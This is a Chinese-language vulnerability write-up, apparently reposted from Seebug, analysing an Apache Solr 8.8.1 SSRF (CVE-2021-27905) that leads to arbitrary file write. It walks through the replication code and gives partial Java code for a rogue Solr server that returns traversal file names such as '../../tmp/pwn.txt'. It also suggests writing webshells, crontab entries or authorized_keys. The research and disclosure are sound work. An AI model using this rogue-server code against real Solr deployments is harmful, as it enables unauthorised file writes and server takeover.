Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability | xxxApache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability – xxx
菜单

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

六月 8, 2021 - 知道创宇Seebug

作者:Ricter Z
原文链接:http://noahblog.360.cn/apache-solr-8-8-1-ssrf-to-file-write/

0x01. TL; DR

事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。

说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。

对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。

0x02. CVE-2021-27905

Solr 的 ReplicationHandler 在传入 command 为 fetchindex 时,会请求传入的 masterUrl,漏洞点如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?

0x03. Replication 代码分析

我们继续跟进 doFetch 方法,发现会调用到 fetchLatestIndex 方法:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversiongeneration 进行判断:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

文件列表包含filelistconfFilestlogFiles 三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload 中。这里 Solr 是调用的 command 是 filelist

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownloadtlogFilesToDownloadconfFilesToDownload 的顺序进行下载。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

我们随意跟进某个下载方法,比如 downloadConfFiles

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

可以发现,saveAs 变量是取于 files 的某个属性,而最终会直接创建一个 File 对象:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

也就是说,如果 file 的 alias 或者 name 可控,则可以利用 ../ 进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList 查看,可以发现,filesToDownload 是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability

0x04. Exploit 编写

类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversionfilelist 以及 filecontent。部分代码如下:

if (data.contains("command=indexversion")) {     response = SolrResponse.makeIndexResponse().toByteArray(); } else if (data.contains("command=filelist")) {     response = SolrResponse.makeFileListResponse().toByteArray(); } else if (data.contains("command=filecontent")) {     response = SolrResponse.makeFileContentResponse().toByteArray(); } else {     response = "Hello World".getBytes(); }  t.getResponseHeaders().add("Content-Type", "application/octet-stream"); t.sendResponseHeaders(200, response.length); OutputStream os = t.getResponseBody(); os.write(response); os.close()123456789101112131415 

返回恶意文件的代码如下:

public static ByteArrayOutputStream makeFileListResponse() throws IOException {     ByteArrayOutputStream outputStream = new ByteArrayOutputStream();     JavaBinCodec codec = new JavaBinCodec(null);      NamedList<Object> values = new SimpleOrderedMap<>();     NamedList<Object> headers = new SimpleOrderedMap<>();     headers.add("status", 0);     headers.add("QTime", 1);      values.add("responseHeader", headers);      HashMap<String, Object> file = new HashMap<>();     file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));     file.put("lastmodified", new Long("123456"));     file.put("name", DIST_FILE);      ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();     fileList.add(file);      HashMap<String, Object> file2 = new HashMap<>();     file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));     file2.put("lastmodified", new Long("123456"));     file2.put("name", DIST_FILE);      ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();     fileList2.add(file2);      values.add("confFiles", fileList);     values.add("filelist", fileList2);      codec.marshal(values, outputStream);     return outputStream;1234567891011121314151617181920212223242526272829303132 

其中 DIST_FILE 为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt,而 FILE_NAME 是本地要写入的文件的路径。攻击效果如下:

Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability


Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1597/


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51